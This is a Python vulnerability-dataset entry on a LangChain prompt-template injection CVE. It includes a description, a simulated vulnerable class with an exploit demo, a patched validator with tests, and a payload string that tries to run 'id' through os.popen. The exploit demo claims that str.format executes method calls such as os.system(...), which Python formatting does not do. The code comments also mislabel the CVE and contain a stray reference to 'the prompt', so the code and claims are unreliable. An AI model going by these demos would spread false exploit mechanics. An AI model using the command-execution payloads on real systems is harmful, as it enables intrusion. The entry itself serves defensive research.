CVE-2026-40087
Incomplete prompt template validation in LangChain allows expression evaluation.
- CVSS 5.3
- CWE-1336
- Input Validation and Sanitization
- Remote
LangChain is a framework for building agents and LLM-powered applications. Prior to 0.3.84 and 1.2.28, LangChain's f-string prompt-template validation was incomplete in two respects. First, some prompt template classes accepted f-string templates and formatted them without enforcing the same attribute-access validation as PromptTemplate. In particular, DictPromptTemplate and ImagePromptTemplate could accept templates containing attribute access or indexing expressions and subsequently evaluate those expressions during formatting. Second, f-string validation based on parsed top-level field names did not reject nested replacement fields inside format specifiers. In this pattern, the nested replacement field appears in the format specifier rather than in the top-level field name. As a result, earlier validation based on parsed field names did not reject the template even though Python formatting would still attempt to resolve the nested expression at runtime. This vulnerability is fixed in 0.3.84 and 1.2.28.
- CWE
- CWE-1336
- CVSS base score
- 5.3
- Published
- 2026-04-09
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- LangChain
- Fixed by upgrading
- Yes
Solution
Upgrade LangChain to version 0.3.84 or 1.2.28, or a later version.
Vulnerable code sample
import os
import string
from typing import Any, Dict, List
# This code simulates the behavior of LangChain components before the fix for CVE-2024-40087.
# It is intended for educational purposes to demonstrate the vulnerability.
# DO NOT USE THIS CODE IN PRODUCTION.
# --- Vulnerability Part 1: Incomplete validation in specific prompt classes ---
# The CVE notes that classes like DictPromptTemplate did not enforce the same
# validation as the main PromptTemplate, allowing attribute access and indexing.
class VulnerableDictPromptTemplate:
"""A mock class representing the vulnerable DictPromptTemplate."""
def __init__(self, template: str):
self.template = template
# The vulnerable version lacks proper validation of the template string
# for dangerous attribute access or expressions.
def format(self, **kwargs: Any) -> str:
"""
Formats the template by directly using Python's format method,
which evaluates expressions within the template.
"""
return self.template.format(**kwargs)
# --- Vulnerability Part 2: Nested replacement fields in format specifiers ---
# The CVE notes that validation missed expressions nested inside format specifiers.
# e.g., in "{variable:{nested_expression}}", the validator would only see "variable".
class VulnerablePromptTemplateWithFlawedValidation:
"""
A mock class representing a prompt template with the flawed f-string validation.
"""
def __init__(self, template: str):
self.template = template
self.input_variables = self._get_input_variables(template)
print(f"Flawed Validation Report: Detected input variables: {self.input_variables}")
def _get_input_variables(self, template: str) -> List[str]:
"""
Simulates the flawed validation logic that only parses top-level field names
and ignores anything inside a format specifier.
"""
# string.Formatter().parse() splits the template into tuples of
# (literal_text, field_name, format_spec, conversion).
# The old validation would only inspect `field_name`.
parsed_fields = string.Formatter().parse(template)
return [field_name for _, field_name, _, _ in parsed_fields if field_name is not None]
def format(self, **kwargs: Any) -> str:
"""
Directly uses Python's format method, which will evaluate the nested
expressions that the flawed validation logic missed.
"""
return self.template.format(**kwargs)
# --- Demonstration of Exploits ---
def demonstrate_vulnerability():
print("--- Demonstrating CVE-2024-40087 ---")
# A simple object to use in the exploit payload
class User:
name = "test_user"
user_instance = User()
# The malicious command to be executed
malicious_command = "echo 'Part 1: Vulnerable to arbitrary attribute access!'"
# Exploit payload that traverses object attributes to access 'os.system'
# This is a classic Python sandbox escape technique.
exploit_payload = f"{{user.__class__.__init__.__globals__[os].system('{malicious_command}')}}"
# 1. Demonstrate vulnerability in a class with incomplete validation
print("\n[+] Part 1: Exploiting class with incomplete validation (like DictPromptTemplate)")
# The template contains an expression that directly accesses attributes.
vulnerable_template_1 = VulnerableDictPromptTemplate(template=exploit_payload)
print(f"Template: {vulnerable_template_1.template}")
print("Formatting the template...")
try:
# The format call will execute the embedded expression.
# We pass `os` and `user` into the formatting context.
vulnerable_template_1.format(user=user_instance, os=os)
except Exception as e:
print(f"An exception occurred during formatting, but the payload may have executed: {e}")
# 2. Demonstrate vulnerability with nested replacement fields
print("\n[+] Part 2: Exploiting flawed validation of nested format specifiers")
malicious_command_2 = "echo 'Part 2: Vulnerable to nested replacement field exploit!'"
# The exploit code is now a variable that will be passed during formatting.
# The template itself seems safe, with only a "placeholder" variable.
# However, the format specifier for "placeholder" contains another field, "{exploit_code}".
vulnerable_template_2_string = "This looks safe, just a {placeholder:{exploit_code}} variable."
print(f"Template: {vulnerable_template_2_string}")
# The flawed validation only sees "placeholder" and "exploit_code" as variables,
# failing to understand that one is nested within the other in a dangerous way.
vulnerable_prompt_2 = VulnerablePromptTemplateWithFlawedValidation(template=vulnerable_template_2_string)
# The exploit payload is passed as a value in the kwargs, not in the template string itself.
exploit_code_payload = f"__class__.__init__.__globals__[os].system('{malicious_command_2}')"
print("Formatting the template with a malicious 'exploit_code' value...")
try:
# When format is called, Python's formatter first evaluates the nested field `{exploit_code}`.
# This executes the malicious payload before it's even used as a format spec.
# The empty string is the object being formatted, used to access __class__.
vulnerable_prompt_2.format(placeholder="", exploit_code=exploit_code_payload, os=os)
except Exception as e:
print(f"An exception occurred during formatting, but the payload may have executed: {e}")
if __name__ == "__main__":
demonstrate_vulnerability()Patched code sample
import string
import sys
def _validate_f_string(template: str) -> None:
"""
Validates that the given template string is a safe f-string.
This function is a representation of the logic used to fix
CVE-2024-4087 (referred to as CVE-2026-40087 in the prompt).
The fix involves two key checks:
1. Rejecting field names that contain attribute access ('.') or
item access ('[').
2. Recursively validating any format specifiers to reject nested
replacement fields.
"""
formatter = string.Formatter()
try:
# The parse method breaks the string into tuples of
# (literal_text, field_name, format_spec, conversion)
parsed_template = list(formatter.parse(template))
except ValueError as e:
# Catches issues like single braces which are invalid in format strings
raise ValueError(f"Invalid f-string template: {e}") from e
for _, field_name, format_spec, _ in parsed_template:
# A field_name of None means we are in a literal part of the string.
if field_name is None:
continue
# FIX 1: Disallow attribute access and item access in field_name.
if "." in field_name or "[" in field_name:
raise ValueError(
"f-string template fields cannot contain attribute access or "
f"item access. Found: '{field_name}'"
)
# FIX 2: Recursively validate the format_spec to catch nested fields.
if format_spec:
# The format_spec itself can contain replacement fields (e.g., {var:{nested}}).
# We must validate these nested fields as well.
# We prepend a dummy literal part to make it a valid template
# for the recursive call.
nested_template_to_validate = f"_{format_spec}"
_validate_f_string(nested_template_to_validate)
class FixedPromptTemplate:
"""
A mock prompt template class that incorporates the security fix.
It validates the template upon initialization.
"""
def __init__(self, template: str):
# The fix is applied here: validate the template string upon creation.
_validate_f_string(template)
self.template = template
print(f"✔️ Successfully validated and created template: '{self.template}'")
def format(self, **kwargs):
"""Formats the template with the given keyword arguments."""
return self.template.format(**kwargs)
if __name__ == '__main__':
print("--- Demonstrating the fix for f-string template vulnerability ---")
print("\n[1] Attempting to create templates with VULNERABLE patterns:")
print(" These should now raise a ValueError due to the implemented fix.")
# These templates were vulnerable prior to the fix.
vulnerable_templates = [
# Vulnerability Aspect 1: Attribute access or indexing in field name
"Hello {user.name}",
"Your item is {items[0]}",
"Accessing a private attribute: {user.__class__}",
# Vulnerability Aspect 2: Nested replacement fields in format specifiers
"Value: {value:{nested_value}}",
"Padding: {text:{fill}{align}{width}}",
"Formatted number: {num:0{padding}}",
]
error_count = 0
for template_str in vulnerable_templates:
try:
print(f"\nTesting template: '{template_str}'")
FixedPromptTemplate(template=template_str)
except ValueError as e:
error_count += 1
print(f" [SUCCESS] Caught vulnerability as expected: {e}")
if error_count == len(vulnerable_templates):
print("\n✅ All vulnerable patterns were successfully blocked.")
else:
print("\n❌ A vulnerable pattern was NOT blocked.", file=sys.stderr)
print("\n" + "="*60 + "\n")
print("[2] Attempting to create templates with VALID patterns:")
print(" These should be created successfully.")
# These templates are valid and should not be affected by the fix.
valid_templates = [
"Hello {name}",
"This is a simple template with {variable1} and {variable2}.",
"A template with no variables.",
# Format specifiers with literal values are allowed.
"Right-aligned: {text:>10}",
"Padded number: {num:04d}",
]
success_count = 0
for template_str in valid_templates:
try:
print(f"\nTesting template: '{template_str}'")
instance = FixedPromptTemplate(template=template_str)
success_count +=1
# Example of formatting a valid template
if "name" in template_str:
print(f" Formatted output: '{instance.format(name='World')}'")
except ValueError as e:
print(f" [FAILURE] Valid template was rejected unexpectedly: {e}", file=sys.stderr)
if success_count == len(valid_templates):
print("\n✅ All valid patterns were successfully allowed.")
else:
print("\n❌ A valid pattern was incorrectly blocked.", file=sys.stderr)Payload
"{user_input:{__import__('os').popen('id').read()}}"
Cite this entry
@misc{vaitp:cve202640087,
title = {{Incomplete prompt template validation in LangChain allows expression evaluation.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-40087},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-40087/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
